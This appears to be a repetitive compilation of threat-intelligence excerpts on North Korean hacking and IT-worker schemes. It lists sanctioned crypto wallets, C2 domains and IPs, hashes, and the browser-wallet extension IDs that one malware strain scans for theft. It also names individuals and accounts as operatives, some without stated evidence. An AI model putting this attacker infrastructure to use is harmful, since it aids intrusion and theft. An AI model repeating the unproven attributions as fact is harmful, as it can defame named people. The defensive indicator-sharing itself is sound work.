34VXKa5upLWVYMXmgid6bFM4BaQXHx…","…Bitcoin 3LU8wRu4ZnXP4UM8Yo6kkTiGHM9BubgyiG Bitcoin 39idqitN9tYNmq3wYanwg3MitFB5TZCjWu Bitcoin 3AAUBbKJorvNhEUFhKnep9YTwmZECxE4Nk Action : integrate these IoFCs into transaction monitoring systems and block or flag any interactions with these…","…currently holding those funds in following bitcoin addresses: 3LU8wRu4ZnXP4UM8Yo6kkTiGHM9BubgyiG 39idqitN9tYNmq3wYanwg3MitFB5TZCjWu 3AAUBbKJorvNhEUFhKnep9YTwmZECxE4Nk 3PjNaSeP8GzLjGeu51JR19Q2Lu8W2Te9oc 3NbdrezMzAVVfXv5MTQJn4hWqKhYCTCJoB 34VXKa5upLWVYMXmgid6bFM4BaQXHxSUoL The DPRK…","…- Vitaliy Sergeyevich Andreyev's HTX Deposit Address 14WvJZtmWfqdKQMxkfmEzk5rQBESvg63qR - 1 Hop from Vitaliy - $30k - Dec 2024 - 5AvpMGYy2WxCMoaswmLfFdKPSMDxwZomPVDAdzE3A6vE - Mario Suparat / Chris Jin / devbamboo15 - DybGDChJMvX9Jnza4XTQVDyUGZ6jYrRg9Q3CdLiEJeh2 - Keisuke Wantanabe / kAsky53 -…","…https://www.dtexsystems.com/resources/i3-threat-advisory-inside-the-dprk/ - Onchain 5cGRQ connects to: Eric Soh - 5cGRQ3VRkGYtfuCWmgXnesrwbkn11cE9FFArzZ5iSeqV #### Alex Davis (Charles Gordon alt) - 2025 - Shows up all over Charles Lee Gordon / charles8200 profiles - alex-davis-ang -…","…to encrypt files at a U . S . defense contractor and demanded that BTC payments be sent to DPRK-controlled cryptocurrency addresses (bc1q64jk7kra50eezk0hk6nxfqe42yrq23cwcemdg6 and bc1qaejck84j2w7xl24m9y35p5rhqv0sy8fwq00g0j). 117 Moonstone Sleet actors also use simple extortion tactics after stealing…","…and demanded that BTC payments be sent to DPRK-controlled cryptocurrency addresses (bc1q64jk7kra50eezk0hk6nxfqe42yrq23cwcemdg6 and bc1qaejck84j2w7xl24m9y35p5rhqv0sy8fwq00g0j). 117 Moonstone Sleet actors also use simple extortion tactics after stealing sensitive data.…","…• bc1qrzxvnl8lr4te4hgmz2e0nn97ypq2nyvvev2ges • LKm8pewKd68MN9Rk6mAeNqSNFovvsLtCz8 • 0x7066D17C140a64e770c7286DeF08C611a9cC78d4 • 0xb41d7De2AF854C17965C277fEb5B55ECc596Ccd8…","…28 2022 (22-sz-6) 0xcno.eth, Kuma Inu Airdrop Receiver - 0xa09a934BA4440CFCbD0C2937a263351926919565 - Seized Mar 28 2022 (22-sz-6) - bc1qrzxvnl8lr4te4hgmz2e0nn97ypq2nyvvev2ges - Seized Mar 28 2022 (22-sz-6) - LKm8pewKd68MN9Rk6mAeNqSNFovvsLtCz8 - Seized Mar 28 2022 (22-sz-6) -…","…Minh Quang, Hanoi, Vietnam; DOB 16 Nov 1993; POB Hanoi, Vietnam; nationality Vietnam; Gender Male; Digital Currency Address - XBT bc1qyy5pt5cx3zth8xlj92lq5y87dh8xv3nwgs4ncq; Secondary sanctions risk: North Korea Sanctions Regulations, sections 510.201 and 510.210; Transactions Prohibited For Persons Owned or…","…keys 2[gWfGj;<:-93Z^C ThZG+0jfXE6VAGOJ TRON wallets TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v Aptos addresses…","…Digital Currency Address - TRX TDe2UNAvuUnTbbDo7518eMe3TXN5qJW8Ft [DPRK4]. GHAZI DESTEK DERNEGI (a.k.a.…","…Tron: TNrX2FwrHKoo4XACGkmSzqeK4pdnKYn6Z7 TEEYCuGDyeNkuDj4u6GQRXxXo3Nh29r2vP TZB4NrX7k9ZsV6PRc1GigAztLL8WHpLvwP TDe2UNAvuUnTbbDo7518eMe3TXN5qJW8Ft Yun Song Guk, a DPRK national who led a group of North Korean IT workers operating out of Boten, Laos since at least 2023, had two…","…Digital Currency Address - TRX TEEYCuGDyeNkuDj4u6GQRXxXo3Nh29r2vP; alt.…","…Tron: TNrX2FwrHKoo4XACGkmSzqeK4pdnKYn6Z7 TEEYCuGDyeNkuDj4u6GQRXxXo3Nh29r2vP TZB4NrX7k9ZsV6PRc1GigAztLL8WHpLvwP TDe2UNAvuUnTbbDo7518eMe3TXN5qJW8Ft Yun Song Guk, a DPRK national who led a group of North Korean IT…","…This fetches only the latest transaction sent from the wallet — which contains the pointer to the actual payload. Tron Wallet TFMudZvWCw96CCKKHGaDTXFXropp9TUJwG Primary Signal (Stage 1) Aptos Wallet 0x76bee1c28ff29d6c414e38a5c11d03facec7bef251aca9c484ddfeb59a06dc37 Backup Signal (Stage 1) Tron…","…Moreover, another Wang wallet address, TFzxRARRELBXvLtpKFayrzLPZmifhXNNLw, is linked to the Alex Labs ( 2024) , Maverick (2023) , and EasyFi (2021) hacks conducted by the DPRK. 145 143 MSMT…","…Digital Currency Address - TRX TGXE9dGWawjfd3xqFSho1h1bRbRv9wUGrF; alt.…","…Tron: TPDLpXxPcaSsupEZ3yrVksmNkYP5SLeKxu TGXE9dGWawjfd3xqFSho1h1bRbRv9wUGrF TNTFhgFoKH4srBMiWbfrVFqP2AThSmdwf1 TXhf9nU9bjo1j9z5qEesHdr6gtdndfnA4T TK17wfSPp32RWrnzZPrGpv7TxdNFvvvE2s TYeQD2VddTZ9NkFkAnT9DD8cUGetGU…","…pXxPcaSsupEZ3yrVksmNkYP5SLeKxu TGXE9dGWawjfd3xqFSho1h1bRbRv9wUGrF TNTFhgFoKH4srBMiWbfrVFqP2AThSmdwf1 TXhf9nU9bjo1j9z5qEesHdr6gtdndfnA4T TK17wfSPp32RWrnzZPrGpv7TxdNFvvvE2s TYeQD2VddTZ9NkFkAnT9DD8cUGetGUQZB2 Pattern of DPRK cryptocurrency exploitation Today’s action is part of the Treasury’s sustained…","…Established Date 1982; Organization Type: Other information technology and computer service activities; Digital Currency Address - TRX TNrX2FwrHKoo4XACGkmSzqeK4pdnKYn6Z7; alt.…","…Tron: TNrX2FwrHKoo4XACGkmSzqeK4pdnKYn6Z7 TEEYCuGDyeNkuDj4u6GQRXxXo3Nh29r2vP TZB4NrX7k9ZsV6PRc1GigAztLL8WHpLvwP TDe2UNAvuUnTbbDo7518eMe3TXN5qJW8Ft Yun Song Guk, a DPRK…","…Digital Currency Address - TRX TNTFhgFoKH4srBMiWbfrVFqP2AThSmdwf1; alt.…","…Tron: TPDLpXxPcaSsupEZ3yrVksmNkYP5SLeKxu TGXE9dGWawjfd3xqFSho1h1bRbRv9wUGrF TNTFhgFoKH4srBMiWbfrVFqP2AThSmdwf1 TXhf9nU9bjo1j9z5qEesHdr6gtdndfnA4T TK17wfSPp32RWrnzZPrGpv7TxdNFvvvE2s TYeQD2VddTZ9NkFkAnT9DD8cUGetGUQZB2 Pattern of DPRK…","…Financial Institutions: North Korea Sanctions Regulations section 510.214; Digital Currency Address - TRX TPDLpXxPcaSsupEZ3yrVksmNkYP5SLeKxu; alt.…","…Tron: TPDLpXxPcaSsupEZ3yrVksmNkYP5SLeKxu TGXE9dGWawjfd3xqFSho1h1bRbRv9wUGrF TNTFhgFoKH4srBMiWbfrVFqP2AThSmdwf1 TXhf9nU9bjo1j9z5qEesHdr6gtdndfnA4T TK17wfSPp32RWrnzZPrGpv7TxdNFvv…","…this case, our first step was to consider the TRX, the native token of the TRON network, used to pay transaction fees, obtained by TQdwohPCWqqfCUaCispyV1NaUZ1HgiJPUy which in turn funded the TRX malware pointer addresses.…","…(ETH) secondary · TRC-20 (TRON) used by some teams All team profits route here via PC-1234 TRC-20 (TRON) Address — 25 txns observed TSxYS91qoXrJUoMhWaQfMz9p2b7FTw57L3 ⚠ Tether Blacklist Event — TRON Address TSxYS91qoXrJUoMhWaQfMz9p2b7FTw57L3 Event: AddedBlackList Time: 30 Dec 2025, 22:16:36 UTC Balance…","…Digital Currency Address - USDT TXFUYHVJMDyKikutvCG6qNgTUS5pxtZhHs; alt.…","…Tron: TPDLpXxPcaSsupEZ3yrVksmNkYP5SLeKxu TGXE9dGWawjfd3xqFSho1h1bRbRv9wUGrF TNTFhgFoKH4srBMiWbfrVFqP2AThSmdwf1 TXhf9nU9bjo1j9z5qEesHdr6gtdndfnA4T TK17wfSPp32RWrnzZPrGpv7TxdNFvvvE2s TYeQD2VddTZ9NkFkAnT9DD8cUGetGUQZB2 Pattern of DPRK cryptocurrency exploitation Today’s action…","…Digital Currency Address - USDT TYD6a4PAAfAgegEdDf9oZUnW4DFmS8jeFT; alt.…","…9dGWawjfd3xqFSho1h1bRbRv9wUGrF TNTFhgFoKH4srBMiWbfrVFqP2AThSmdwf1 TXhf9nU9bjo1j9z5qEesHdr6gtdndfnA4T TK17wfSPp32RWrnzZPrGpv7TxdNFvvvE2s TYeQD2VddTZ9NkFkAnT9DD8cUGetGUQZB2 Pattern of DPRK cryptocurrency exploitation Today’s action is part of the Treasury’s sustained effort to counter North Korea’s abuse…","…Digital Currency Address - USDT TYK29mbyvVxLaLUKdFSTRADMwoxaVbVZQg; alt.…","…Digital Currency Address - USDT TYxwUhoLPF7AgfG9GaXFEp8CQi8K8KG1m3 [DPRK4].…","…Digital Currency Address - TRX TZB4NrX7k9ZsV6PRc1GigAztLL8WHpLvwP; alt.…","…Tron: TNrX2FwrHKoo4XACGkmSzqeK4pdnKYn6Z7 TEEYCuGDyeNkuDj4u6GQRXxXo3Nh29r2vP TZB4NrX7k9ZsV6PRc1GigAztLL8WHpLvwP TDe2UNAvuUnTbbDo7518eMe3TXN5qJW8Ft Yun Song Guk, a DPRK national who led a group of North Korean IT workers operating out of Boten,…","The researcher quotes a post by @fanboofy, an account presented as Fan Long, co-founder of Boofy Labs LLC, created in September 2026, and says it is a North Korean operative who delivers malware through malicious npm packages and GitHub repositories. He names a second website as another of theirs; that domain belongs to a registered company and is not carried here. The claim is the researcher's, made without stated evidence in the post or its reply. Read on 12 November 2026.","The X account the report gives for the GitHub account apollotoday, one of the DPRK IT workers in the organisations it examines.","The post greets five X accounts as DPRK operators without saying whether they are one person or several. Two of the five carry the 888 marker and are recorded against the 888 cluster; these three carry no marker and are left unattributed, because grouping them would be this site's inference.","The X account the report gives for the GitHub account g0drlc.","…include: https://remoteok.com/@karlchong https://laborx.com/freelancers/users/id100369 https://www.remotehub.com/karl.chong https://www.xing.com/profile/Karl_Chong To obtain the complete research report, including endnotes, please click the button below.…","…• [Archive](https://web.archive.org/web/20240331015740/https://github.com/FeloniousGru-Super) - paulmartin-1125.web.app/ - xing.com/profile/Paul_Martin08403 - x.com/gru1125 - 0x19899a49704c7890febc139b4efa4de24d88d425 - 0x1caa50f7fc5c02925ad98624b12635d11f281a00 -…","…11, 2019 Say hello to North Korea’s 3rd internet uplink! The North Korean autonomous system AS131279 just got a new uplink to AS133073 Teleglobal Communication Services Limited – which is assigned to Hong Kong, according to APNIC.…","…Nine on UCloud HK (AS135377), two on DAOU Technology (AS45996), three unattributed.…","…15: AttackCapture™ directory listing for 154.216.177.215 Analysis for 154.216.177.215 The host \" 154.216.177.215 \", operating under AS135377 (LARUS Limited) in Hong Kong, exposes an exceptionally large and sensitive open directory containing 10,731 files, 1,222 subdirectories,…","…AS174 COGENT-174 Fallchill malware C2 server: 196.38.48.121: South Africa Internet Solutions AS3741 185.142.236.226: Netherlands…","…offerings.cloud 172.86.121.130 HIVELOCITY AS29802 www.capmarketreport.com 149.28.247.34 The Constant Company, LLC AS20473 ms.msteam.biz www.onlinecloud.cloud 155.138.159.45 The Constant Company, LLC AS20473 The actor usually used fake domains…","…phishing URLs All published in our STIX bundle and raw text files Indicators of Compromise Primary IP 158.247.219.150 (Vultr, AS20473) Sequential Pattern auth-umblog[1-98]s.dynv6.net (98 active subdomains) Detection Detection rules and IOCs: YARA rules…","…The campaign has been running since November 2025 across 7 rotating Vultr VPS nodes in France , all on AS20473, with 51 memo transactions posted to the dead-drop wallet over roughly four months.…","…AS174 COGENT-174 Additional attacker’s server from telemetry 80.82.64.91: Seychelles Incrediserve Ltd AS29073 185.142.239.173: Netherlands Blackhost Ltd.…","…11: AttackCapture™ data 207.254.22.248:8800 Analysis for host 207.254.22.248 shows the IP Address operating under AS30377 (MacStadium, Inc.) in Dublin, Ireland.…","…AS174 COGENT-174 Fallchill malware C2 server: 196.38.48.121: South Africa Internet Solutions AS3741 185.142.236.226: Netherlands Blackhost Ltd.…","…APT APT1 APT10 APT15 APT28 APT29 APT31 APT41 APT44 APT5 APT73 Argos Artificial Intelligence Arup AS399629 AS44476 Astro Grep ASUS AsyncRAT ATO att&ck attacks Attribution Aviation Avinode AWS AZORult Azure…","…consisting of multiple C2 servers, payload delivery hosts, and data exfiltration endpoints, hosted primarily on Petrosky Cloud LLC (AS400897) infrastructure. C2 and Exfiltration Servers IP Address Port Role ASN 83.136.208.246 6783 Primary C2 (beacon +…","…APT10 APT15 APT28 APT29 APT31 APT41 APT44 APT5 APT73 Argos Artificial Intelligence Arup AS399629 AS44476 Astro Grep ASUS AsyncRAT ATO att&ck attacks Attribution Aviation Avinode AWS AZORult Azure babuk…","…verify.efine-log.kro.kr Document delivery lures: deliver-doc.v6.navy This server sits at 27.102.137.38 — in the same DAOU Technology AS45996 allocation as 27.102.138.45 , the chk.uncork.biz phishing node from our previously published investigation of the udalyonka.com Kimsuky…","…our information, it went live a few days ago on April 3, 2019 at 16:00 UTC. North Korea currently has 2 existing uplinks, one via China (AS4837 China Unicom Backbone) and another via Russia (AS20485 Closed Joint Stock Company TransTeleCom).…","…from March through August 2018. Additionally, as we identified back in April , the 175.45.176.0/22 range is routed by both China Unicom ( AS4837 ) and Russia’s TransTelekom ( AS20485 ).…","…Domain ROOFDECK C2 https://pastebin.com/raw/3yptBDhL URL ROOFDECK signed C2 dead drop 176.97.114.232 IP AS6698; served MacOS.Backdoor.GetShell per RL https://technicais.sytes.net/statics/v11/11013 URL Served ROOFDECK iSync on 2025-10-03 (RL…","…C2 server; typosquat of Hedgeweek (hedgeweek.com) Domain lumax.capital New campaign infrastructure (registered 2026-02-02) URL calendly.com/hureivemykhail/with-solidbit-meeting Calendly link used in social engineering File indicators SHA-256 Description…","…by IDs (plugin keys, IDs, or other identifiers) as below- {'keenhcnmdmjjhincpilijphpiohdppno', 'hbbgbephgojikajhfbomhlmmollphcad', 'cjmkndjhnagcfbpiemnkdpomccnjblmj', 'dhgnlgphgchebgoemcjekedjjbifijid', 'hifafgmccdpekplomjjkcfgodnhcellj', 'kamfleanhcmjelnhaeljonilnmjpkcjc',…","…identifiers) as below- {'keenhcnmdmjjhincpilijphpiohdppno', 'hbbgbephgojikajhfbomhlmmollphcad', 'cjmkndjhnagcfbpiemnkdpomccnjblmj', 'dhgnlgphgchebgoemcjekedjjbifijid', 'hifafgmccdpekplomjjkcfgodnhcellj', 'kamfleanhcmjelnhaeljonilnmjpkcjc', 'jnldfbidonfeldmalbflbmlebbipcnle',…","…scans for many Chrome browser plugins by IDs (plugin keys, IDs, or other identifiers) as below- {'keenhcnmdmjjhincpilijphpiohdppno', 'hbbgbephgojikajhfbomhlmmollphcad', 'cjmkndjhnagcfbpiemnkdpomccnjblmj', 'dhgnlgphgchebgoemcjekedjjbifijid', 'hifafgmccdpekplomjjkcfgodnhcellj',…","…Chrome Plugins The malware scans for many Chrome browser plugins by IDs (plugin keys, IDs, or other identifiers) as below- {'keenhcnmdmjjhincpilijphpiohdppno', 'hbbgbephgojikajhfbomhlmmollphcad', 'cjmkndjhnagcfbpiemnkdpomccnjblmj', 'dhgnlgphgchebgoemcjekedjjbifijid',…","…'lnnnmfcpbkafcpgdilckhmhbkkbpkmid', 'nbdhibgjnjpnkajaghbffjbkcgljfgdi', 'kmhcihpebfmpgmihbkipmjlmmioameka', 'kmphdnilpmdejikjdnlbcnmnabepfgkh', 'nngceckbapebfimnlniiiahkandclblb'} If a plugin is installed, the malware stores the data to exfiltrate to C2 server.…","…'nbdhibgjnjpnkajaghbffjbkcgljfgdi', 'kmhcihpebfmpgmihbkipmjlmmioameka', 'kmphdnilpmdejikjdnlbcnmnabepfgkh', 'nngceckbapebfimnlniiiahkandclblb'} If a plugin is installed, the malware stores the data to exfiltrate to C2 server.…","…Console File ID 1225e4fe-5c83-4d7f-a643-606b18e5f890 Network Indicators # C2 Domains (defanged) ndocs0link.dns.army a7f3q.v6.navy 3tg8i.dns.army link-nid-log.oq7n2.dynv6.net link-nid-log.oc9bk.dynv6.net elecviews85.dynv6.net mhjjh.dynv6.net # C2 IPs (defanged) 118.194.248.246…","…https://blockchain.info/address/115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn C&C centers gx7ekbenv2riucmf.onion 57g7spgrzlojinas.onion xxlvbrloxvriy2c5.onion 76jdd2ir2embyv47.onion cwwnhwhlz52maqm7.onion Languages All language ransom messages available…","…C&C centers gx7ekbenv2riucmf.onion 57g7spgrzlojinas.onion xxlvbrloxvriy2c5.onion 76jdd2ir2embyv47.onion cwwnhwhlz52maqm7.onion Languages All language ransom messages available here:…","…MMC Console File ID 1225e4fe-5c83-4d7f-a643-606b18e5f890 Network Indicators # C2 Domains (defanged) ndocs0link.dns.army a7f3q.v6.navy 3tg8i.dns.army link-nid-log.oq7n2.dynv6.net link-nid-log.oc9bk.dynv6.net elecviews85.dynv6.net mhjjh.dynv6.net # C2 IPs…","…C2 109.234.36.135 144.124.247.97 77.246.101.72 77.246.108.96 aceeyl.com althouqroastery.com anupamaivf.com appoitment.dotoit.media creativepackout.co encryptuganda.org genuinashop.com igamingroundtable.co…","…C&C ar.kostin.p-e.kr ai.kostin.p-e.kr qi.limsjo.p-e.kr ai.limsjo.p-e.kr ol.negapa.p-e.kr ai.negapa.p-e.kr URL…","…C2 109.234.36.135 144.124.247.97 77.246.101.72 77.246.108.96 aceeyl.com althouqroastery.com anupamaivf.com appoitment.dotoit.media creativepackout.co encryptuganda.org genuinashop.com igamingroundtable.com jlrandsons.co.uk…","…C2 109.234.36.135 144.124.247.97 77.246.101.72 77.246.108.96 aceeyl.com althouqroastery.com anupamaivf.com appoitment.dotoit.media creativepackout.co encryptuganda.org genuinashop.com igamingroundtable.com jlrandsons.co.uk kppe.pl kyowain…","…C2 109.234.36.135 144.124.247.97 77.246.101.72 77.246.108.96 aceeyl.com althouqroastery.com anupamaivf.com appoitment.dotoit.media creativepackout.co encryptuganda.org genuinashop.com igamingroundtable.com jlrandsons.co.uk kppe.pl kyowaind.co.jp nationalinterest…","…- IOC C2 dragon-pig.onlinewebshop.net little-dragon.mypressonline.com baboivan.scienceontheweb.net Hash 879b5fca0f4e3d1769e37e738f3b89ba6de81d0f5f34b8bba6267f905b85318a b89e79ee9c4834177cbabba9b265910a6a55c7defd2863cc1699753dbfa342b8…","…5977442321a693717950365446880058cc2585485ea582daa515719c1c21c5bd C2 IPs/Domains: 23.106.215.105 www.blgbeach.com X (formerly Twitter) Accounts https://twitter.com/Paul091_ Wire Accounts @paul354 Mastodon Account:…","…INDICATORS OF COMPROMISE C2 domains: mante.li bmanal.com shopandtravelusa.com industryinfostructure.com SHA256:…","…C2 share-defence.uberlingen.com 94.131.120.80 C2 online.viewers.r-e.kr 94.131.120.80 C2 ecloud.uberlingen.n-e.kr 94.131.120.80 C2 cloud.adoubleu.de 94.131.120.80 C2 news.uberlingen.com 94.131.120.80 C2 de.uberlingen.com 103.113.70.148 C2 accounts.login.idm.uberlingen.com…","…109.234.36.135 144.124.247.97 77.246.101.72 77.246.108.96 aceeyl.com althouqroastery.com anupamaivf.com appoitment.dotoit.media creativepackout.co encryptuganda.org genuinashop.com igamingroundtable.com jlrandsons.co.uk kppe.pl kyowaind.co.jp nationalinterestparty.com optique-l…","…C2 Domains joinupvts.org resolveissue.org crowdon.info st0746.net ‍ Firebase Projects mydb-a1554 project-27ef0 project-75f80 smart-743cf version-25b53 ‍ Citations 1…","…C2 Domains daedong.or.kr kcnp.or.kr kosic.or.kr wstore.lt xkclub.hk C2 IPv4 Addresses…","…- KYC_Form.doc C&C 142.11.248.98 27.102.113.20 natezlx.myvnc.com nid-naverbpk.onthewifi.com daumcyd.ddns.net 27.102.113.170 183.111.226.13 27.102.113.107 27.102.113.209 cdn.glitch.global E-mail Sender…","…- IOC C2 dragon-pig.onlinewebshop.net little-dragon.mypressonline.com baboivan.scienceontheweb.net Hash 879b5fca0f4e3d1769e37e738f3b89ba6de81d0f5f34b8bba6267f905b85318a b89…","…C2 share-defence.verymad.net 94.131.120.80 C2 share-defence.uberlingen.com 94.131.120.80 C2 online.viewers.r-e.kr 94.131.120.80 C2 ecloud.uberlingen.n-e.kr 94.131.120.80 C2 cloud.adoubleu.de 94.131.120.80 C2 news.uberlingen.com 94.131.120.80 C2 de.uberlingen.com 103.113.70.148…","…# C2 Domains (defanged) ndocs0link.dns.army a7f3q.v6.navy 3tg8i.dns.army link-nid-log.oq7n2.dynv6.net link-nid-log.oc9bk.dynv6.net elecviews85.dynv6.net mhjjh.dynv6.net # C2 IPs (defanged) 118.194.248.246 (UCloud HK) 152.32.243.178 (UCloud HK) 101.36.114.66 (Korea) 27.102.137.140 (DAOU…","…144.124.247.97 77.246.101.72 77.246.108.96 aceeyl.com althouqroastery.com anupamaivf.com appoitment.dotoit.media creativepackout.co encryptuganda.org genuinashop.com igamingroundtable.com jlrandsons.co.uk kppe.pl kyowaind.co.jp nationalinterestparty.com optique-leclercq.be pomozzi…","…C2: jennifer998.lookin.at 196.44.49.154 www.hosting.tempors.com kted56erhg.dynssl.com euiro8966.organiccrap.com 116.193.155.38 games.my-homeip.com Back to top Tags Bioazih Bisonal Dexbia Operation Bitter Biscuit…","…C2: jennifer998.lookin.at 196.44.49.154 www.hosting.tempors.com kted56erhg.dynssl.com euiro8966.organiccrap.com 116.193.155.38 games.my-homeip.com Back to top Tags Bioazih Bisonal Dexbia Operation Bitter Biscuit Russia South Korea Threat…","…246.101.72 77.246.108.96 aceeyl.com althouqroastery.com anupamaivf.com appoitment.dotoit.media creativepackout.co encryptuganda.org genuinashop.com igamingroundtable.com jlrandsons.co.uk kppe.pl kyowaind.co.jp nationalinterestparty.com optique-leclercq.be pomozzi.com sparkwebsol…","…https://blockchain.info/address/115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn C&C centers gx7ekbenv2riucmf.onion 57g7spgrzlojinas.onion xxlvbrloxvriy2c5.onion 76jdd2ir2embyv47.onion cwwnhwhlz52maqm7.onion Languages All language…","…C2: jennifer998.lookin.at 196.44.49.154 www.hosting.tempors.com kted56erhg.dynssl.com euiro8966.organiccrap.com 116.193.155.38 games.my-homeip.com Back to top Tags Bioazih…","…6.108.96 aceeyl.com althouqroastery.com anupamaivf.com appoitment.dotoit.media creativepackout.co encryptuganda.org genuinashop.com igamingroundtable.com jlrandsons.co.uk kppe.pl kyowaind.co.jp nationalinterestparty.com optique-leclercq.be pomozzi.com sparkwebsolutions.space tatukikai…","…INDICATORS OF COMPROMISE C2 domains: mante.li bmanal.com shopandtravelusa.com industryinfostructure.com SHA256: 803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269 URLs:…","…VelvetCake C2 URL Domain p1o2i3u4y5t6r7e8w9q0.medianewsonline.com VelvetCake C2 Domain Domain jaemoolding25863.elementfx.com VelvetCake C2 Domain Domain zvwb1ep7i.onlinewebshop.net VelvetCake C2 Domain IP Address 111.92.246.145 VelvetCake C2 IP…","…d44a22d2c969988a65c7d927e22364c8 28d0143718153bf04c1919a26bb70c2d 36be2cbb59cd1c3f745d5f80f9aee21c C2 japanroom.com 38.32.68.195 222.122.49.15 이 글 공유하기 Facebook…","…Files\\Common Files\\System\\msadc\\msadc.inc C:\\ProgramData\\desktops.ini C2 servers javadevhouse.co.kr pythonapischool.com https://cubedesign.co.kr/news C2 of Cubridge https://cubedesign.co.kr/mobile/fashion C2…","…C2: jennifer998.lookin.at 196.44.49.154 www.hosting.tempors.com kted56erhg.dynssl.com euiro8966.organiccrap.com 116.193.155.38 games.my-homeip.com…","…Dropped executable ED5FBEFD61A72EC9F8A5EBD7FA7BCD632EC55F04BDD4A4E24686EDCCB0268E05 Command and control servers jinjinpig.co.kr mail.namusoft.kr 20 26 Cybercrime in the Age of AI AI is rewiring the cybercrime ecosystem.…","…Dropped executable ED5FBEFD61A72EC9F8A5EBD7FA7BCD632EC55F04BDD4A4E24686EDCCB0268E05 Command and control servers jinjinpig.co.kr mail.namusoft.kr ThreatDown is ranked as a leader in EDR + MDR by G2 Request demo…","…lthouqroastery.com anupamaivf.com appoitment.dotoit.media creativepackout.co encryptuganda.org genuinashop.com igamingroundtable.com jlrandsons.co.uk kppe.pl kyowaind.co.jp nationalinterestparty.com optique-leclercq.be pomozzi.com sparkwebsolutions.space tatukikai.jp vintashmarket…","…C2 Domains joinupvts.org resolveissue.org crowdon.info st0746.net ‍ Firebase Projects…","…anupamaivf.com appoitment.dotoit.media creativepackout.co encryptuganda.org genuinashop.com igamingroundtable.com jlrandsons.co.uk kppe.pl kyowaind.co.jp nationalinterestparty.com optique-leclercq.be pomozzi.com sparkwebsolutions.space tatukikai.jp vintashmarket.com…","…C2: jennifer998.lookin.at 196.44.49.154 www.hosting.tempors.com kted56erhg.dynssl.com euiro8966.organiccrap.com 116.193.155.38 games.my-homeip.com Back to top Tags Bioazih Bisonal Dexbia…","…ivf.com appoitment.dotoit.media creativepackout.co encryptuganda.org genuinashop.com igamingroundtable.com jlrandsons.co.uk kppe.pl kyowaind.co.jp nationalinterestparty.com optique-leclercq.be pomozzi.com sparkwebsolutions.space tatukikai.jp vintashmarket.com…","…Network Indicators # C2 Domains (defanged) ndocs0link.dns.army a7f3q.v6.navy 3tg8i.dns.army link-nid-log.oq7n2.dynv6.net link-nid-log.oc9bk.dynv6.net elecviews85.dynv6.net mhjjh.dynv6.net # C2 IPs (defanged) 118.194.248.246 (UCloud HK) 152.32.243.178 (UCloud HK) 101.36.114.66…","…ID 1225e4fe-5c83-4d7f-a643-606b18e5f890 Network Indicators # C2 Domains (defanged) ndocs0link.dns.army a7f3q.v6.navy 3tg8i.dns.army link-nid-log.oq7n2.dynv6.net link-nid-log.oc9bk.dynv6.net elecviews85.dynv6.net mhjjh.dynv6.net # C2 IPs (defanged) 118.194.248.246 (UCloud HK) 152.32.243.178 (UCloud…","…- IOC C2 dragon-pig.onlinewebshop.net little-dragon.mypressonline.com baboivan.scienceontheweb.net Hash 879b5fca0f4e3d1769e37e738f3b89ba6de81d0f5f34b8bba6267f905b85318a b89e79ee9c4834177cbabba9b265910a6a55…","…清除C2服务器相关缓存 将主机信息上传至C2服务器后，以参数值prefix =cc {index}为标识（index从0开始），依次循环从服务器取出攻击者所预设的远程指令来执行，直到将所有指令执行完毕。 host little-dragon.mypressonline.com C2域名 path dn.php 指令路径 参数1 client_id 主机ID（加密的主机名） 参数2 prefix cc {index},index从0起始…","…Network Indicators: download.uberlingen.com 94.131.120.80 C2 logo.kalbas.com.vn 94.131.120.80 C2 share.dihl-defence.o-r.kr 94.131.120.80 C2 share-defence.ohbah.com 94.131.120.80 C2 share-defence.verymad.net…","…Dropped executable ED5FBEFD61A72EC9F8A5EBD7FA7BCD632EC55F04BDD4A4E24686EDCCB0268E05 Command and control servers jinjinpig.co.kr mail.namusoft.kr ThreatDown is ranked as a leader in EDR + MDR by G2 Request demo Categories…","…(defanged) ndocs0link.dns.army a7f3q.v6.navy 3tg8i.dns.army link-nid-log.oq7n2.dynv6.net link-nid-log.oc9bk.dynv6.net elecviews85.dynv6.net mhjjh.dynv6.net # C2 IPs (defanged) 118.194.248.246 (UCloud HK) 152.32.243.178 (UCloud HK) 101.36.114.66 (Korea) 27.102.137.140 (DAOU…","…08f93351d0d3905bee5b0c2b9215d448abb0d3cf49c0f8b666c46df4fcc007cb C2: word-template.net openxmlformat.org ms-office.services ms-offices.com template-openxml.com Posted in: Threat Analysis Group…","…C2: word-template.net openxmlformat.org ms-office.services ms-offices.com template-openxml.com Posted in: Threat Analysis Group…","…고지.pdf d9ecf148c88bfd9791758b3be1a9f459 - 암호 8b6580e14b8164e28e684d48691ddf4d - KYC_Form.doc C&C 142.11.248.98 27.102.113.20 natezlx.myvnc.com nid-naverbpk.onthewifi.com daumcyd.ddns.net 27.102.113.170 183.111.226.13 27.102.113.107 27.102.113.209 cdn.glitch.global…","…ent.dotoit.media creativepackout.co encryptuganda.org genuinashop.com igamingroundtable.com jlrandsons.co.uk kppe.pl kyowaind.co.jp nationalinterestparty.com optique-leclercq.be pomozzi.com sparkwebsolutions.space tatukikai.jp vintashmarket.com…","…- 암호 8b6580e14b8164e28e684d48691ddf4d - KYC_Form.doc C&C 142.11.248.98 27.102.113.20 natezlx.myvnc.com nid-naverbpk.onthewifi.com daumcyd.ddns.net 27.102.113.170 183.111.226.13 27.102.113.107 27.102.113.209 cdn.glitch.global E-mail Sender…","…C2 uppgrede.scienceontheweb.net qwert.mine.bz office.pushitlive.net 216.189.154.6 URL…","…94.131.120.80 C2 share-defence.verymad.net 94.131.120.80 C2 share-defence.uberlingen.com 94.131.120.80 C2 online.viewers.r-e.kr 94.131.120.80 C2 ecloud.uberlingen.n-e.kr 94.131.120.80 C2 cloud.adoubleu.de 94.131.120.80 C2 news.uberlingen.com 94.131.120.80…","…Remote RTF template: 08f93351d0d3905bee5b0c2b9215d448abb0d3cf49c0f8b666c46df4fcc007cb C2: word-template.net openxmlformat.org ms-office.services ms-offices.com template-openxml.com Posted in: Threat Analysis…","…ackout.co encryptuganda.org genuinashop.com igamingroundtable.com jlrandsons.co.uk kppe.pl kyowaind.co.jp nationalinterestparty.com optique-leclercq.be pomozzi.com sparkwebsolutions.space tatukikai.jp vintashmarket.com…","…URL 